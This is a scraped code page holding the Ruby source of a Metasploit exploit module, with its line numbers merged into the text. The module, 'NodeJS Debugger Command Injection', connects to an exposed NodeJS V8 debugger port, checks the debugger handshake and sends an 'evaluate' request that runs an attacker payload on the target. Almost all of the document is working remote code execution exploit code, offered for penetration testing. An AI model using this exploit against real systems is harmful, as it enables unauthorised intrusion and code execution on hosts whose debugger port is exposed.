Path: blob/master/modules/exploits/multi/misc/nodejs_v8_debugger.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"1112def initialize(info = {})13super(14update_info(15info,16'Name' => "NodeJS Debugger Command Injection",17'Description' => %q{18This module uses the "evaluate" request type of the NodeJS V819debugger protocol (version 1) to evaluate arbitrary JS and20call out to other system commands. The port (default 5858) is21not exposed non-locally in default configurations, but may be22exposed either intentionally or via misconfiguration.23},24'License' => MSF_LICENSE,25'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],26'References' => [27[ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],28[ 'URL', 'https://github.com/nodejs/node/pull/8106' ]29],30'Targets' => [31['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],32],33'Privileged' => false,34'DisclosureDate' => '2016-08-15',35'DefaultTarget' => 0,36'Notes' => {37'Reliability' => UNKNOWN_RELIABILITY,38'Stability' => UNKNOWN_STABILITY,39'SideEffects' => UNKNOWN_SIDE_EFFECTS40}41)42)4344register_options(45[46Opt::RPORT(5858)47]48)49end5051def make_eval_message52msg_body = {53seq: 1,54type: 'request',55command: 'evaluate',56arguments: {57expression: payload.encoded,58global: true,59maxStringLength: -160}61}.to_json62msg_header = MESSAGE_HEADER_TEMPLATE % { :length => msg_body.length }63msg_header + msg_body64end6566def check67connect68res = sock.get_once69disconnect7071if res.include? "V8-Version" and res.include? "Protocol-Version: 1"72vprint_status("Got debugger handshake:\n#{res}")73return Exploit::CheckCode::Appears74end7576Exploit::CheckCode::Unknown77end7879def exploit80connect81# must consume incoming handshake before sending payload82buf = sock.get_once83msg = make_eval_message84print_status("Sending #{msg.length} byte payload...")85vprint_status("#{msg}")86sock.put(msg)87buf = sock.get_once8889if buf.include? '"command":"evaluate","success":true'90print_status("Got success response")91elsif buf.include? '"command":"evaluate","success":false'92print_error("Got failure response: #{buf}")93else94print_error("Got unexpected response: #{buf}")95end96end9798end99100101